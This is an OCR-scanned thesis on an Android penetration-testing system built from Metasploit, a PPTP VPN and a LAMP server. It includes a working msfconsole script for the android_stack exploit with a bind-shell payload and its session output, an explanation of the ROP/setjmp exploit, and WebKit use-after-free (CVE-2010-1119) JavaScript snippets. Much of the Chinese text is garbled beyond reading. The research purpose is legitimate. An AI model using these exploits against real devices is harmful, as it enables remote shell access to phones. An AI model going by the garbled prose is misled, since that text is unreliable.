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ABSTRACT

In recent years smart phone has been more and more popularization
1n handset market, especially the Android system: Regardless of being
receives and sends the email, playing the game, listening to music,
watching the movie::-and so on, which can work on the smart phones
completely. Android is'an open=source software stack for mobile
devices, enables each people to develop the application. For this
reason, hackers can spread the malicious software, like steals the
user personal privacy material, ‘and uses the payment service. Android
Market has no the strict examination mechanism for the applications
on the market, in addition Android applications can be acquired from
any third party alternatives to "official" market. These could let
the user easily download the malicious software without consciously.
Therefore, how to safeguard on the Android handset’s security, 1is
essential target which we study. Our penetration test systemcollects
each kind of Android system’ s exploits, and provides the examination
with the corresponding suggestion.
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Bl 2: Android = #8255 B3 % So7 & B
2.1 Android

Android & 38 - 87 Linux +2 < 5 A#H T ¥ B4/ it E ke Linux 7
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Manager Manager System Manager
Manager Manager Manager Manager Service

LIBRABIES - ANDROID RUNTIME
Surface Media ; —_—
Manager Framework SOLiLe Cote
. ger . 4 4 L Libraries J
OpenGL|ES FreeType | WebKit Dalvik Virtual
- '\ ¢ 4 Machine J
SGL SSL | Libc

Display Bluetooth Binder(IPC)
Driver Driver Driver Driver Driver

Driver Driver Management

B 3: Android % SLpR e oF 1 R
Ff kR Android. sdk

1. B* #;% (Applications)
R F L Tl AR 0 bldo BHOCE TR CE AL P
A AB T HTE B ARERS R R HF
TR FREER JAVARY f250 -
2. J&* #2331 (Application Framework)

4+ ¥ 11 3| Android Market

BORERBEFRER Y PLe AR AN 0 X2 B AN A ESE T s
fe. 1% > Android SDK (software development kit) € & 7 3% % g * 4258 i o (API) »
REREFerei o B9 Activity Manager f & A250 02 Bk F L
Content Providers f # % 4238 2 B enfFdl & 3 > % &35 B2 @ gRTE > Views
System * ki - B 4258 ok * % 6 > Resource Manager B 24% #2442 5% 48 0T R
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Bt Gl B -
3. &3V E (Libraries)
AdNERE 7 - 2Rt C/CHER D (AL E KRB F’“%;‘—‘ﬁi%@ Application
Framework & @& * o F 7| & B Syt B4 & 25 ¢
(1) Surface Manager : ML 3L A # YIGR B4 F 15 Po f SLBET &2 g 3Rchad i > B
& Tl & THBdRir, cn3d > 07§ 2D 22 3D g Meng S iF o
(2) Open GL ES: & - #td OpenGL ES 1.0 = &7 3D 3§ B3 & > 7 3 3 3D ‘g B+

-
Ay °

(3) SGL: f F rdZ 2D g B3l & o

(4) Media Framework @ & 4% % 885 #;% g8 S ;8 2 > d PacketVideo = @ #h
OpenCORE #7% & > &4 @ MPEG4 » H. 264 ~ MP3 ~ AAC ~ AMR ~ JPG ~ PNG ~ GIF %
£ X

(5) Free Type @ RS2 ELM @)L o & Blekp T -

(6) SSL : Secure Socket Layer » R L | il 32 0% 2304 o

(7) SQLite: B R 4-ahenbfd st T4 A (R & * 3 500KB 3§ & =4 * o

(8) WebKit : 2@ f 4078 e B 1 5l 8 -

(9) libc : BSD %2 i 5 C v 34 A e

4. Android # %5 (Android Runtime)
Android Runtime & & B F& = 4 % s %0 5038 2 (Core Libraries)/? 2
Dalvik & #t1# % (Dalvik Virtual Machine) - &% Android & * #25% & * JAVA &
B w7 i * Java Runtime $4 7 » & &_% * Google p 7 B % ¢ Android Runtime
R4 FARS o
(1) Core Libraries: i E@Gg & 7 73F 5 JAVAZ &rfeinadt » X B
Android } s * A2 30 ’F’K”‘ p ¢ % e Process f- Dalvik Virtual Machine
kP F 2 EEB B ENAST o

(2) Dalvik Virtual Machine : %% JWM (Java Virtual Machine) 3+ - &%
BALBBBE > TPV REFERNE I BB - v E T Java Class
File> @ #.3 {7 Dalvik executable (. dex)-JavaClassFile & & %#= . dex
#61 & & Dalvik Virtual Machine * & 34 {7



5. Linux = (Linux Kernel)

Android SDK &_#L*t Linux 2.6 ##7# i % SLPRF% > B P & 5% >
(Security) ~ p #8384 ¥ = (Memory Managemeat) - 742 3 (Process
Management) ~ .32 & (Network Stack) - @42 #-73] (Driver Model) - H ¥
¥ RengEd AR 3 C Ao (Display Driver) ~ 4%4¢ (Keypad Driver) ~ 48 (Camera
Driver) ~ sz %8 (FlashMemory Driver) ~ § 3t (AudioDriver)~ &7 (Bluetooth
Driver) ~ USB (USB Driver) ~ WiFi (WiFi Driver) ~ Binder (Binder(IPC) Driver) -

Tk 2 (Power Management) °

2.1.2 gz}

1. %%

Android BB # %8 5 &8 ¥ AT = i1 £ ¢

(1) Java Development Kit(JDK)-v6. 0 14 F :
et jdk-6u24-windows-i586 A X FEIRE 0 LI E T A
http://java. sun. com ™3¢ e

(2) Eclipse IDE BF#Fiz;¢ :
A2 eclipse-java-helios—SR1-wind2 3x & & =ik 5 > L d v L A
http://www. eclipserorg <t ¢

(3) Android SDK 2.2 :
# i 12 android-sdk_r07-windows 3<% 2 B %8 > ¢+ SDK # 1

F_&

http://developer. android. com/sdk/1index. html * f o

@m . Eclipse IDE %% & 7 - & % % ADT (Android Development Tools)
plug-in > % Android «h# # 1 & - Eclipse B fcis » 37 THelp , — " Install New

Software | ﬁia?] ~ ADT plug-in #xt (4™ ) » 347 TOK | 454 % o

https://dl-ssl. google. com/android/eclipse/ ‘

PTREZEREENFINGE PR h i > REFALHLFRE

#rfcds Eclipse » 1 it ££* Android ADT -



2. KL

i# 2 - % Android % % % & 3 ®_Android SDK §./% » 4 #v 3% Eclipses w2~# * - 3
434 7" Window ,—' Preferences ;> 8- A i H 42 % " Android ;> ¥ ¥ &' Browse:-- |
—rﬁ%] »~ Android SDK % ##:% » 4 TApply ; #% & Eclipse %% s g% T0K, = & -
3. %

# 7 "File ;— "New ; — "Project ; ¢ » £ # "Android ; — " Android Project ; °
#7 TNext | #4& - l&’é’ﬁrﬂ ~ Android ,% %5 & ~ Project name ~ Application name -
Package name ~ 2 3 Create Activity > % % & o # ¢ Package name &_5 7 A 3%H #
Package J IRARIF Sdic &A@ GAE T o

Android SDK # #4i# B k3 7425 » & 8 %1 Android SDK and AVD Manager &
= AVD (Android Virtual Devices) - 2ki% [ Android SDK and AVD Manager | — " Virtual
Devices | — TNew ; i = AVD-

Gt e BB G A 11 2 Project & AK ®evAndroid kAR A 0 AP E R
24t fa e APL Level o AVD B Bl Faed A 3 g X e Bfd > 3t s F H 1
# 7 TRun As ; — TAndroid Application ; » ¥ B Ec =+ st o -

2.2 Metasploit

Metasploit €_2003 E B3 R 4odg = 58 O Fcn— B iR BRI > & EF T A
RPiEFZB R R shellcode ~ # 7 iR eh— B k4L - & Metasploit 2. X % & 3%

Hd Perl 3 %% > P ok irehlMetasploit 3. X 4@ * Ruby i 7B % » A #
gk & §_Metasploit 3.6.0 - Metasploit & = 7 & @ kst & L ek 2ikF o
shellcode # @ * » 1 & Jx & % % &_Windows /% ¥ifr Linux % %% > S ATIK A e
Metasploit # 7 7 176 #& % v+ & & * #48 +F chexploit > ™1 % 104 B shellcode °

Android s %eeRiaepan @ 2 24> ZEANPH FHET o
2.2.1 & kLE ’]‘#
Metasploit # &= > ;8 ¥ 54 ¥/ & > Console Interface ~ Command Line

Interface §= Web Interface -

1. Console Interface : ¥ & 542;% ¥_msfconsole » & é 4 VN T eni@ * 372 > 4 F_



AprnEE YR T Ae e
2. Command Line Interface : #t /<42 s* £ _msfcli > #F& & p &t RESF @ o
3. Web Interface : $/& 5428 £ _msfweb > 2 B~ A& » © £ 3 F web iﬁ]?ﬂ%@']
» Http://172.0.0.1:55555/ ¥ B 4nig * o
Metasploit & # #-ie it o d > F #.4 3% B modules s it > 3. X % 4 fimodules
77 % &/opt/framework-3. 6. 0/msf3/modules P 47 > &= & &7 B modules’ 4Kl 4 »

B alfg 4T

Encoder

Auxiliary

Bl 4 : Metasploit =27 # modules B % @)

1. Exploit: i3 Ao B @I p & AL A% B s gy
Playload fiz & & {7 {8 6 %

msf> use exploit/Exploit name |

2. Auxiliary : # 2 Exploit » # F e&_Auxiliary ¥ ™ i& {7 DoS ~ Scanner % % Z &

Playload @25 B % o

| msf> use Auxiliary name |

3. Payload: sc#¥ = # 2 {6 & # e shellcode # * generate &4 ¥ 4 = p & &K
Payload > 4-% & 4v » 37 Payload » 7 143 ¥ B 43 e, rb 4§ 3%

> . \framework3\msf3\modules\payloads P 4™ -

’msf> set payload Payload_name ‘
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4. Nops @ * ®# % stack P £ » ¥ 4 (Return Address) ez 4 > ¥ o d X T E R
Kol A - 2R A NOP R R GRRYFBHCEL K @4 ldp st e 4p 10 R
HenF A3V oo f % F A g & tgkH Exploit V' ERSF > A AP R FlL e
A ALY EPERY N T 338 5 NOPs sk T ik |3 a2 - B CE S BN hh0

R R E T

‘msf nop(opty2)> generate -t c 50 ‘

5. Encoder : 2 = Payload #7# * h¥asg & - T b|& % * — 5 »x¢hPayload &
PexAlphaNum %% B 4 = perl # 3 5% ershellcode > H © 4R S8k 27 11 i *

generate -h 43§ -

‘msf> use Payload_name‘

| msf> set CMD notepad.exe |

‘msf> generate =€ PexAlphaNum = t perl

2.2.2%BEF

1. =%
A i@ 2 Metasploits framework 3.6.0 " # 54 7 % B » L ¥ LA
http://www. metasploit. com/<7F §4o F15 Metasploit ¢ Ruby #£7 » #7risvfe Jf &

Penetration Test Server } % % Ruby (1.8.7) - # ¢ » T f\smetasploit ~ # 27

Se R AL -

$wget
http://updates. metasploit. com/data/releases/framework-3. 6. 0-11nux-1686. run

| $sudo apt-get install ruby

| $chmod +x framework-3. 6. 0-1inux-i686. run |

| $sudo . /framework-3. 6. 0-1inux—i686. run |

It

2. W

o
W
b

Hfs o A i B4 Exploit o Payload A E i~ AR o LA
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Android_stack s Exploit *c % ---/linux/misc/ P 4~ » @ % % shell_bind_tcp #»

Payload #*< % ---/linux/armle/ P &7 -
2.3 PPTP VPN

PPTP VPN sh#& = > % % Point-to-Point Tunneling Protocol Virtual Private

Network » 2 & # it §_ Ao X B icanippe b > J A B2 X 27 B BBl EEF

PPTP BR442hiE 3f phik €% 7 — B 2 &8 % > d PPTP Network Server = PPTP Access
Concentrator = » o & 7 iv Jf§ F Hcfp bt h P # f o Bolichyp e it 1 @45 > PPTP VPN
g%k § ¥ FALE AT E (Encapsulation) o 2 3B (6 it e gtk s - 42 [P #
eatig® TCP = 5% Bi% > Adbje i E 7 b B2 RDF B S [P Reie @ - § 30 35
W enT - P fFASjeen s g B B HE S 1P header -

e AF‘,Z? MR e e T T B AN T TR G w0 Ao D o 1 Jﬁ"? A
L e i iE@ie > i@ b PPTP Network Server > 35tk 5267 % 78 G inis - @
*H T P 140 11801 1 chi o B % — w3 & 0P Bl G T P R
d £ I ehite [P gar4R - PPTP Network Server IPe

PPTP Access PPTP -Network
Concentrator Server
@ ——| 140.113.1.1
Er{capsulated Packét —
)
123.123.1.1 140.113.1.1 Server
Y
Server

B 5 : PPTP VPN % 3 R
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2.3.2 B ZEE

A * ek 525 Ubuntu 10. 10 » % % PPTP VPN f?ﬂiﬁﬂi%] SRR A

‘$ sudo apt-get install pptpd ‘

K PR AP E & 3o A R T 0 pptpd. conf f- pptpd-options e

(1) #:z pptpd. conf * T4% ' A% € &P &/etc AT - 24 i gc* PPTP VPN #
JREPF > Z & % % localip f- remoteip » 4™ B 6 ° localip 5 &% IP =t »
remoteip = BHE # P F > 234-238 A1 B RFFE D S B o bk
T & PN S i remoteip EHVIP ak T E oo

localip 192.168.1.1
remoteip 192.168.1.234-238

B1.6 : pptpd. conf 2 :&3K T M
(2) iz pptpd-options X EA4h: 2 #h%k € &P & /etc/ppp A T °PPTP VPN Server

3148 LR 2 G A [P i=n > DNS (Domain Name System) 73k % 4o B 7

SE% 0 1LTE S PIR BN T L B TR AL o

13



M ® & root@nctuccis-Veriton-M461: fopt/framework-3.6.0/msf3

File Edit View Search Terminal Help

name 148.113.207.142

ms-dns 148.113.1.1
ms-dns 148.113.250.135

B 7-+pptpd-options ¥ &ck E R
3. i
@ EE O FUREPE G & - WIRT S 0 2 ¢ /] fe/ete/ppp/chap-secrets
FhEH A 2 R g g o H RN e T

User_name Server<name Password IP limit
ccis 140. 113.207. 142 XXXXXXXX X

HP X FHET 72 miE e A A1 E £ A8xd PPTP VPN PR % » 1 i 4 o

‘ $ sudo /etc/init.d/pptpd restart ‘

2.4 LAMP

LAMP #.¢d - 2p d ¥ E &M = fﬂ‘ﬂﬁ,ﬁ, ’ # 73 Linux - Apache ~ MySQL £ PHP >
id ’#’ g ;i\q’f j\*#‘ =
papd R ARG E -

PR o Android } e B BlRAB E R & VB FHRP

“ﬂ"“
Zglr
3
"?ff‘ %
=
“J

F‘. FRggj\‘ff'lé * Fl/f—‘g °

2.4.1 BER

14



1. %%

PRER PIRETEL AT Z Bty
(1) Apache : #F #IR =

‘$ sudo apt-get install apache?2 ‘

(2) MySQL : Tt # 32 s 4

‘$ sudo apt-get install mysql-server ‘

(3) PHP : L4 7 IR E 42353

| $ sudo apt-get install php5 |

{4§‘}g?IQFR$P’%A‘}'E?I“-'/J(%/UL&L /f_ "\1]’“&@.&:{2;‘*‘!/’?_7}@4 ,/.».

‘$ sudo apt-get install libapache2=mod=auth-mysql

‘$ sudo apt-get installsphpb-mysql

‘$ sudo apt-get install phpmyadmin

DO
b
/@1}

EX]

Metasploit =i shell - @ & Metasploit e 7 - T & B ROOT & Lende 5 ™ > °

& JF R PHP #5 ROOT #£°% > 4o% & Sip e sudodn £ > 7 & E I & 34 {7 ey 4

sudo > if wc = # & F ROOT $£* o F R < 378 - B sudo eh%& % o

15
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¥=F > ﬁﬁ#ﬁ

S R R LA %?iéﬁﬁu£§®ﬁﬁ#ﬁ’u7ﬁ@ﬁﬁi%¢
Gt g o F AL S RER o RP E R B (PR ST 3.2 ) S R
oo p @ ® PPTP VPN ep %] 0 2 2 4 25 0p)38 % Seen Boe B e hig o )I}
¥_3.2.1 Metasploit ¥ 3.2.2 WebKit browser } shsc# o A4 & 7 i@ # —"Ff EREA I
BB T o @ik mﬁﬂﬁm%’*“ﬂwfﬂﬁ:@mwﬁ’kfm33J
SHSURGE G R PR G o R BRI BRIER Y K b RS ERRARET 5

R P ISR B 2P B
4 »
3.1 jaxEi

Bl 8 = Android =+ #3013 Plsr B e Rl A8 > BB J Ak A A 30
On-line Test ™ % Off=line Testerg &£ » AP -2 g K- B L = * 250
Android Penetration Test Client #+ %1 fj # Android PTC » ¢~ #23% * % {r On-line
Test # /& > B¥E- £ Y& Sfce ¥ b » Android PTC - f # Off-line Test e:& i¥ o

¥ - {84 On-lineTest > § @ * FHEHE 7o S g RlF > 2 P& - B PPTP VPN

-

' E % & Penetration Test Server i i - Penetration Test Server ¢ 7 7

&m

i e O PR B (LAMP) 2 2 B % % p3ET 5 (Metasploit server) » %o v e | s

frig % FEd R > SEFERF RIREIREF SR S0 DR > BB R HF
LR 3N ER e % 2L 0ff-line Test » F £ 88 » & R aTp g pr > AP

3 & 4% kS I AR P PR 0 3 Permissions Scan 14 % Malwares Scan » £ i & Sien

T AZAe T B9 e
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Android Phone

On-line Test

Penetration
Test Server

Off-line Test

Permissions
Scan

Malwares
Scan

B] 8 : Android &+ #4025 PR RGPk LB

17




Android_PTC

ERELR
On-Line Test Off-Line Test
PPTP VPN 7
Off Line Test |
)
Permissions
Malwares Scan
Scan
\ y
BERE
TR ] \" 4
[
A A 4
WebKit Metasploit
\ A 4
EERIEER EEREEE

B 9 : Android_PTC /428

3.2 R pl

APl AL LT FRG R RE 0 - B Metasploit attack > ¥ - B A

WebKit browser attack - i&@ 5 sx# chig & 40 ¢ 3 = £ & PR E 2 F B fr— % shell
g H LR hA A APE 2 gTERHIEPdn s o d ARSI HE
LTHMFESR S R FRIFHE S i%ﬁ&@ﬁ@o

BR TR 5 AP Wi-Fil fad X iy Sl Sl IS ahite
e E Ay s [Piabe TR0 S B F A IP a5 192.168.1.193 0 A

18



cHEP [P zab i 192,168 11 @t B[P iznt 5 1.2.3. 40§ £ hdte 18
Server &4 ¢ 43— B IP =n 5 1.2.3.4 s Packet » f]*t‘{z%f‘ o SE P iy
- BRI it e R Ak o [PHBEERS L TE L FRRAR S RRT O

HERAR oo AP A P RE PR A SRR TSI R [P ieh o ek eI kP
LTt D Pint i 1234 HERFPRAEESAHAY Sl o 2 L H I
e R o
[ \ Server
((e)
1.2.3.4
Packet \/\
y
@.168.1.193 192.168.1.1/ 140.113.207.142

B 10 Wi-Fi @3Edt o7 &R

Bt s AP R REL - B miET F EFRORE RS BE Server fAcd bl - %
BRET 0 dogt - K400 E SRR FA L R

47 B 11 > % PPTP VPN s &s& = 15 » =38 (PPTP VPN.Client) £ PPTP VPN Server
¢ EEAp ¥ [P nk > B PPTP VPN Server } 4 ~Penetration Test Server & > i
2RI G [P a3k 250192, 168010234097 F A w4 gk £ R (TR P o € £ % PPTP
EFALSRE N FR- REERATRESTT AR 2 FR T T LGRS b4 (b
v Open VPN) ° 4t Android < p 2= PPTP » 2t i & % %7 0 ™ 4 VPN Client » ¥ £ if
FlE ez b e lgi 4 o A g PPTP s Ei%‘”&%"ﬁ PR
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LAN

PPTP VPN PPTP VPN Penetration

Client Server Test Server
VPN connection

4
0

Transitinternetwork

74 74

192.168.1.234 192.168.1.1 1
B 11 - PPTP-VPN. % &7 % Bl

5] =]
-] -]
Di||n||
o o

1

Android PTC & <48 F A {75 B A $- AL F @S Benppk i Fa - &
SOH AR LG L AP R PIRE L F Ao ¥ socket + @ e i
BFH - PPREe PR 140, 113.207. 1425 PORT 3% 2.5 10000 » 42 5% 45 40T #557 o

socket = new Socket("140.113.207. 142", 10000);

out = new PrintWriter(socket. getOutputStream(),  true);

String command = "netstat";

Runtime rt = Runtime. getRuntime();

Process p = null;

p = rt. exec(command);

Buf feredReader br = new BufferedReader(new
InputStreamReader (p. getInputStream()));

String msg = null;

while((msg = br.readLine())!=null){
out. println(msg);

br.close();

out. close();

socket. close();

20



BT REIREI ED féjﬁliﬁ'ﬁ B > http://140.113. 207. 142/index. html °

Intent viewlntent = new
Intent("android. intent. action. VIEW", Uri. parse("http://140.113. 207. 142/index. html" ));

startActivity(viewIntent);

moE AL PIRBIRA > 4o B 12 Aror o 18 —"ﬁ? p iTiEH & &7 WebKit browser

v

attack & #_Metasploit attack > ™™ 2 & Bah & P -

1.
2.
3.

N ao-

jstest. html : 2% WebKit browser attack f6 edy (74238 > § 44 {7 test. js#h % o
test. js * ¥ jstest.html #**7 ¢ java script #4% > M % 5 WebKit sc #4257 -
meta. php : B:iE Metasploit attack & 84 74258 > § F#7*c} & metasploit *
1 Android exploit o &iz4 ¢ & # shell_ip.sh~meta_ip. txt fem_ip. txt = B4
o AP [P =ha R ok R Ak i iﬁ o

shell_ip.sh: & - B FH A § 7 R T metal ip. txt «p 7 o

meta_ip. txt : 753 Metasploit s %45 4 ¢

m_ip. txt ¢ %3 Metasploit-attack 4 7. % o

read. php : 3 B~ muip. txt ep & 0 A FE N FE R L Koo

jstest. html »* *¥ test. js 3% 7 WebKit browser attack ¢ shellcode- @ meta. php

#4 {7 shell ip.sh» ##% % 5 > m_ip. txt o 2818 d read.php § # ¥ S %32 o

WebKit

jstest.html test.js > read.ph
browser attack el o ] Php
- A
Metasploit
meta.ph
attack Php

shell_ip.sh = meta_ip.txt = m_ip.txt —



3.2.1 Metasploit attack

£ kAP g X m P Metasploit attack e384 0 ptsz#d Eloi Sanfelix §r

Javier Moreno % # % Rooted CON' 2010[9] - ¥ ** Android Market ¥t} FALL)/ R i

ABHed Mo oo A LT LR B s B BT A R E LG RN 7
i R R D e FE S A ERAS RSP HI R B

port: 2000 > fU* il F TP H LW FTHEBRF L I0CE o LT H - H A g AEP
R eidzs o 5 Z ML RIS F RIL -
1. JnAgzm o

BAAPIHAIP =T B L% A > shell _ip. sh ep F 407 ¢

#!/bin/sh
echo color false
/opt/framework-3. 6. 0/msf3/msfconsole < /opt/framework-3. 6. 0/msf3/meta_ip. txt

A -meta_ip. txt gafrdldp 4 ¥ » msfeonsole 7> 5 7 W AR TR F FHR
@ FEEd iR B o3 R AR I G P A P & 4~ color false

TiEdp 4 0 MRS A o H P meta ip. tXt p BT

use exploit/linux/misc/android _stack
set payload linux/armle/shell bind-tep
set LPORT 2000

set RHOST 1ip

exploit

exit -y

A g * chexploit & android_stack @ s iFF A1 EorwE o E DR F
shellcode P e m iE #% hpayload »” # shell _bind_tcp’ #* payload € & = - i% TCP
e shell i@ 4 > + ﬁ,};—&'\,@_i MR- Bdp hport - A PR RI|E B port BF o
T 12 shell eh2 SN v Jls » Pt 7 B EE R fachport T kg4 oo ¥ b0 R3X
g @ aport (LPORT) 2000 > 42 p &+ 40 [P =t (RHOST) » & f8 - s i
BN 785 E o nip. txt o 4o B 13+ "Command shell session 1 opened ; 2% i =
¥ B - 1% shell » d PR E =S 192, 168. 1. 1:48656 i 3]+ #4192, 168. 1. 234:2000 -
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msf > msf exploit(android stack) > payload => linux/armle/shell bind tcp
mst exploit(android stack) 2000

msf exploit(android stack) > RHOST => 192.168.1.234

mst exploit(android stack) =

[*] Started bind handler
[#] Command shell session 1 opened (192.168.1.1:48656 -> 192.168.1.234:2000) at Wed Jun 81 16:13:42 +08088 2811
[*] Command shell session 1 closed.

Bl 13 : android_stack ssc# % %

By e FF LA AFEEHERGF G2 G A ay BHRPEEH T (Address

Space Layout Randomization » ASLR) » P % % Linux - Windows ¥ % Apple *} fa’fi”‘p de b

TR BRI R AE K RRER LR E S AR el R AR T 57 R
PEIRAE a0 LR SE A R A D e R 0 AR RALRI o Tt ip e S R o ak P
SEE Ll & E PR Aot SR T S Rt SR R
B R 0 1 iE PR IE gk o

¥ e - fﬁ# B 2 ] U']%‘E‘bm‘*gh T EE o # ﬂi@‘.ﬁ' k mﬁi}\‘ﬁ%ﬂ = “*#A 7o e
ﬂé¢;3@$£?ﬁﬁﬁﬁg’%u&%%iﬁ%igﬁoxﬁ’ﬂwm%@»
Android % ¥t t B {78 @ wenie Ao 4o Bl 14 150 2V 7 Android % 3t A stack
frheap F e US55 rwx v & Android i ALE G U e B L 7w 0 stack fr

2

heap ©3F E #3417 code o #7014 2V 2 # i B AL o § £ ¥ h K = shellcode
sde 4o i hk > i ¥ 34 {7 shellcode °

BOH R B REARS  h S AP T I R abdg e kP 2 A
oI AP SN KRR EFAPEE R TN BT R R TP R

setjmp( )& N TS G o
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export PATH=/data/local/bin:$PATH:.

# #cat /proc/self/maps
00008000-0001b000 r-xp 00000000 1f: /system/bin/toolb

0001b000-0001c000 ru2:n 00013000 1f: /system/bin/toolb
0001c000-00022000; rwxp 00000000 00: [heap]
40000000-40010000 "=-x=" 00000000 00: /dev/ashmem/syste
af900000-af90e000 r-xp 00000000 1f: /system/1lib/libcu
af90e000-af90f000 rwxp 0000e000 1f: /system/1lib/libcu
af90f000-af91e000 rwxp 00000000 00:

afa00000-afa03000 r-xp 00000000 1f: /system/1lib/1liblo
afa03000-afa04000 rwxp 00003000 1f: /system/lib/1liblo
afb00000-afb16000 r-xp 00000000 1f: /system/1lib/1libm.
afb16000-afb17000 rwxp 00016000 1f: /system/1ib/1libm.
afc00000-afc01000 r-xp 00000000 1f: /system/1lib/1ibst
afc01000-afc02000 rwxp 00001000 1f: /system/1ib/1libstc
afdo0000-afd41000 r-xp 00000000 1f: /system/1lib/libc.
afd41000-afd44000 rwxp 00041000 1f: /system/1lib/libc.
afd44000-afd4f000 rwxp 00000000 00:

n in

B 14 : heap & rwx

40000000-40010000 r-xs 00000000 : /dev/ashmem/systen
af900000-af90e000 r-xp 00000000 : /system/1ib/1libcut
af90e000-af90f000 rwxp 0000e000 - /system/1lib/1libcut
af90f000-af91e000 rwxp 00000000 -

afa00000-afa03000 r-xp 00000000 - /system/1lib/liblo
afa03000-afa04000 rwxp 00003000 : /system/1ib/1iblo
afb00000-afb16000 r-xp 00000000 g /system/1lib/1libm.
afb16000-afb17000 rwxp 00016000 g /system/1lib/1libm.
afc00000-afc01000 r-xp 00000000 < /system/1ib/1ibst
afc01000-afc02000 rwxp 00001000 1f: /system/1ib/1libst
afd00000-afd41000 r-xp 00000000 1f: /system/1ib/libc.
afd41000-afd44000 rwxp 00041000 1f: /system/1lib/libc.
afd44000-afd4f000 rwxp 00000000

b0001000-b000c000 r-xp 00001000 1f: /system/bin/linke
b000c000-b000d000 rwxp 0000c000 1f: /system/bin/linke
b000d000-b0016000 rxxn 00000000 00:

befbf000-befd400¢" rwxp 190000000 00: [stack]

Bl 15 : stack & rwx

(2) #* setjmp( )3t

B A& LT §2 ARM (Advanced RISC Machines) e B4 » 4o £ 2 -

22 ARM % %3 B34 [7]

s E T
r0-r3 used to hold argument values to and from a subroutine.
r4-rll used to hold local variables.

rl? Intra-Procedure-call scratch register

rl3 stack pointer, sp

ri4 link register, Ir

rlb program counter, pc
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Android & st® C &1 B42ZF B setjmp( )Szt > F] i &N Eenhizy E APy uE 4
Faoens Fpt s sg it setjmp( )i E - B FEGE A -

setjmp( )fr longjmp( )& B S fich & 8% ki h 453801 £ o setjmp (BUFFER) ¢
A 8 B A P Bk ~ 4 Wb buffer 42 0 ¥ ¢ longjmp (BUFFER, n) &3¢
Bl € 85| setjump e0i= % > $x4R BUFFER A2 3% 75 ¥ s Bk ik > L& W — B B nedopt -
KR¥ U E-nAR S WD FDN S ﬁ%? ©E e R - FE A AR o 1T A _setjmp( )

& 3% dump ¥| assembler code e % o fie & B 16 — HEP

Oxafe0dd20 <setjmp+0>: push {r0, 1r}

Oxafe0dd24 <setjmp+4>: mov r0, #0 ; 0x0
Oxafe0dd28 <setjmpt+8>: blx 0xafel2094 <sigblock>
OxafeOdd2c <setjmp+12>: mov rl, r0

Oxafe0dd30 <setjmp+l16>: pop {r0, 1r} €
0xafe0dd34 <setjmp+20>: str rl;, "[r0, #100]
0xafe0dd38 <setjmpt24>: ldr rl, [pc, #16] ;
Oxafe0ddb0 <setjmp+48>

Oxafe0dd3c <setjmp+28>: strorl,[r0], #4
Oxafe0dd40 <setjmp+32>: add-10,- r0, #52 ; 0x34
Oxafe0dd44 <set jmp*36>: stm 10, {rd-rl2, sp, lr}
Oxafe0dd48 <setjmp+40>: mov r0, #0 ; 0x0
OxafeOdd4c <setjmp+44>: bx lr

Stack Pointer

l

B 16 : android_stack @ i¥ chsc#x B } %

Ret
Oxafe0dd30

+ B 16 5 Metasploit Server @i euc# 3 @ »d 7 BINL o
1. Ret & 5 Oxafe0dd30 - § 7
2. Dest enig i 0xb0014004 > g # B ZE 10

3. DesttOffset chiE % 0xb001405a°~ ﬁ-%{shellcode duedsizabo B F R E 1r (link

A s s
FE® L

register) e

4, NOPs % & % & F + > ¥ % % shellcode 424 = nt cnifa #5 o
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5. Evil shellcode 7 #_shell _bind_tcp °

¥ Ew izhtk T 5 Oxafe0dd30 > » %-%{assembler code &% I {7 izut o 4250 § B
7] Oxafe0dd30 #% 7 POP {r0, 1r} 454 - #* 45 4 9% L i stack pointer & &z §
POP % B 3| r0frlriea B3 @ »d 3§ % stack pointer 45 » i€ ® =t K> POP
313 7 0xb0014004 f- 0xb001405a #-¢ 5 » rOfelr @ « F 7R EZ r0 & Ir @ S4 %
FAagFeanizn > - & osetjmp( ) 72 & > assembler code & {5 - 7 bx Ir § B3| Ir

- fI&{OXbOOM%a » B 434 7 Evil Shellcode °

3.2.2 WebKit browser attack

Android )k #p 2 ¢ Google Chrome 15 % & * WebKit 31 & # % - WebKit browser
attack 2 & f 44T B4R H iR 70 F o By FBY EHERFCGE o &
g % CVE-2010-1119 (Common Vulnerabilities & Expesures) ik ¢ Ralf Philipp
Weinmann f= Vincenzo Tozzo # 3~ MJ Keith 41 * s imiF = # sz ¥ Android % > #

A 2010 &% 4 >t Exploit Databasel6]° 2%k Google © & & Android 2.2 % & 12+ fa

2 > e Android 2:h ~ 2. 04 7F ek SLin G i B AR o

1345 Google % #eng #2[5] Android 1.5 & * & 51, 9% » Android 1. 6 =i *
x4 2.5% > Android 2.1 shig #* X 5 21, 2% 4o ™ 4 36
# 3¢ 2001 & 7 * Android & StssA ® H-ik 3 &

Platform API Level Distribution
Android 1.5 3 1. 9%
Android 1.6 4 2. 5%
Android 2.1 7 21. 2%
Android 2.2 8 64. 6%
Android 2.3 9 1. 1%

Android 2.3.3 10 8. 1%
Android 3.0 11 0. 3%
Android 3.1 12 0. 3%

Bfck g oAndroid 2. 1 T end g% = 48 F 1 Gk * 0 25% =+ 2 B Android
ety H ¢ %%’ﬁ - AR A T 2,20 ekt B3 F 2 AR F WebKit
browser attack » &% » £ £ & P[5 P 2. - - WebKit browser attack i & RIZ Z
use-after-free > ~ fj‘u{:—-‘c"éé SEE LG SRRl § R BL R
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BPF > ¢ AR R I FH N E AR TR o LR PG LKA R
B o~ pARia > TF 23, 7 shellcode chvc %k o

1 2 3 4
0x00650000 0x00650000 0x00650000

AAAAAAAA
AAAAAAAA
0x00385100| (0x00385100 | AAAAA
AAAAAAAA
AAAAAAAA

0x0000a000 - 0x0000a000. |0x0000a000

v

Bl 17 < use-after-free

4o 17 0 Bk A& 1 57 html <body> N % 4o

<body >
<p id=target> blah </p»
<body>

AR ABAZES B> ZHRF- BiolRig #HY
getElementsByTagName("p" ) & B~ 45 T & Brehig - » ,T%{B’* R 5 <p>end gk o
getElementByld("target" )R .2~ ID % target ¢h& 28> 12yt html 5 &) > V12 = V1
ié#%ré fe— &2k o

Var VI => doc. getElementsByTagName("p" )
var V2 => doc. getElementByld(" target" )

£ % > f1* parentNode. removeChild() & ;% # “$ V2 dp & el il

‘V2.parentNode.removeChild(target); ‘

EEF ot Bz AT e Bkl AP r” AMAT 5 65 o 4o BE4 a0 AAAA
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Hed PR Pl AR S VI pE g I A P che g

for (var i = 0; 1 < 10000; i++) {
var s = new String("AAAA");}
B fs 0@ * V]

‘Vl.innerHtml

3.3 BLAPIF
1. Permissions Scan
Android & L e3F s ® AR50 % cfE Ui s o PR E 5 116 BHEIIT uk s H
& T4 % t AndroidManifest. xml ° 14 Android PTC % &] » 5 7 On-line test e33R 4 >
